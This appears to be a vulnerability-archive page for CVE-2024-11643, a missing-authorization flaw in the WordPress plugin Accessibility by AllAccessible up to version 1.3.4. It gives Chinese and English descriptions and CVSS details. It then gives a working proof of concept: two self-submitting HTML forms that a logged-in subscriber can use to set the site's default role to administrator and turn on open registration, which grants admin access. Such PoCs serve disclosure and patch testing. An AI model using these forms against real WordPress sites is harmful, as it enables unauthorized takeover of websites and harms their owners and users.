Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-11643 PoC — WordPress plugin Accessibility by AllAccessible 安全漏洞

Source
Associated Vulnerability
Title:WordPress plugin Accessibility by AllAccessible 安全漏洞 (CVE-2024-11643)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin Accessibility by AllAccessible 1.3.4版本及之前版本存在安全漏洞,该漏洞源于缺少对AllAccessible_save_settings函数的功能检查,未经授权的数据修改可能导致权限提升。
Description
Accessibility by AllAccessible <= 1.3.4 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Option Update
Readme
# CVE-2024-11643
Accessibility by AllAccessible &lt;= 1.3.4 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Option Update

# Description

The Accessibility by AllAccessible plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check on the 'AllAccessible_save_settings' function in all versions up to, and including, 1.3.4. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update arbitrary options on the WordPress site. This can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site.

## Details

- **Type**: plugin
- **Affected Version**: 1.3.4
- **CVSS Score**: 8.8
- **CVSS Rating**: High
- **CVSS Vector**: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- **CVE**: CVE-2024-11643
- **Status**: Active

POC
---

Login as a subscriber then use this forms to make admin default role and then second one for users to register.


# Default Role Admin

```
<html>
  <body>
    <form action="https://wp-dev.ddev.site/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="AllAccessible&#95;save&#95;settings" />
      <input type="hidden" name="opt&#95;name" value="default&#95;role" />
      <input type="hidden" name="opt&#95;value" value="administrator" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

```

# Users Can Register

```
<html>
  <body>
    <form action="https://wp-dev.ddev.site/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="AllAccessible&#95;save&#95;settings" />
      <input type="hidden" name="opt&#95;name" value="users&#95;can&#95;register" />
      <input type="hidden" name="opt&#95;value" value="1" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
```
File Snapshot

[4.0K] /data/pocs/7cb3721f09734cb8069c1783b114fa24fffdad3d └── [2.1K] README.md 0 directories, 1 file
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.